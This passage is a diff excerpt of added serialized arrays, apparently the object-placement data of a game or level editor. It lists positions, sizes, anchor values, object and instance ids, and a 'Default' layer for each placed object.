+ 3042,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.2177734375,
+ 1080.971557617188,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3043,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3565.708251953125,
+ 1169.282470703125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3044,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -150,
+ 1157,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3045,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 302,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3046,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -147,
+ 1422,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 509,
+ 3047,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -149,
+ 1581,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 510,
+ 3048,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -149,
+ 1725,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 511,
+ 3049,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3050,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 212,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3051,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 302,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3052,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 392,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3053,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 3054,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 212,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 3055,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 392,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3056,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 454,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3057,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 486,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3058,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 518,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3059,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 838,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3063,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 870,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3064,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 902,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3065,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1053,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3066,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 963,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3067,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1053,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3068,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.697631835938,
+ 896.684326171875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3069,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.45703125,
+ 988.5802001953125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3071,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.112426757813,
+ 988.8226318359375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3072,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.427978515625,
+ 988.8226318359375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3073,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1500.5908203125,
+ 1079.822631835938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3074,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1590.487182617188,
+ 988.8114013671875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3075,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1680.142578125,
+ 989.0538330078125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3076,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1769.458129882813,
+ 989.0538330078125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3077,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141.984497070313,
+ 1173.107788085938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3078,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.295166015625,
+ 1173.295532226563,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3079,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.184448242188,
+ 804.051025390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3080,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1502.274291992188,
+ 804.051025390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3081,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1592.128173828125,
+ 804.051025390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3082,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1593.15576171875,
+ 723.7517700195312,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3083,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1593.632080078125,
+ 645.4243774414062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3084,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1514.566528320313,
+ 723.4898681640625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3085,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1595.352905273438,
+ 430.1338806152344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3087,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1595.352905273438,
+ 351.1338806152344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3088,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1595.352905273438,
+ 272.1338806152344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3089,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1596.352905273438,
+ 194.1338958740234,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3090,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1597.352905273438,
+ 115.1339111328125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3091,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2526.97314453125,
+ 1059.370971679688,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 515,
+ 3092,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1562,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3093,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1594,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3094,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1626,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3095,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1754,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3096,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1786,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3097,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1818,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3098,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1946,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3099,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1978,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3100,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2010,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3101,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141.855590820313,
+ 1358.605346679688,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3102,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052.2265625,
+ 1080.58349609375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3103,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1051.993286132813,
+ 1172.7197265625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3104,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1051.864379882813,
+ 1358.21728515625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3105,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1249,
+ 1277,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 512,
+ 3106,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.238647460938,
+ 1266.16650390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3107,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.841186523438,
+ 1266.16650390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3108,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1411.673583984375,
+ 1266.16650390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3109,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501.276123046875,
+ 1266.16650390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3110,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141.912109375,
+ 1265.734375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3111,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1051.9208984375,
+ 1265.346313476563,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3112,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.238647460938,
+ 1358.615356445313,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3113,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.841186523438,
+ 1358.615356445313,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3114,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1411.673583984375,
+ 1358.615356445313,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3115,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501.276123046875,
+ 1358.615356445313,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3116,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141.912109375,
+ 1358.183227539063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3117,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1051.9208984375,
+ 1357.795166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3118,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3119,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1322,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3120,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3121,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3122,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142,
+ 1450,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3123,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052,
+ 1450,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3124,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3125,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1322,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3126,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3127,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3128,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3129,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052,
+ 1542,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3130,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 1266,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
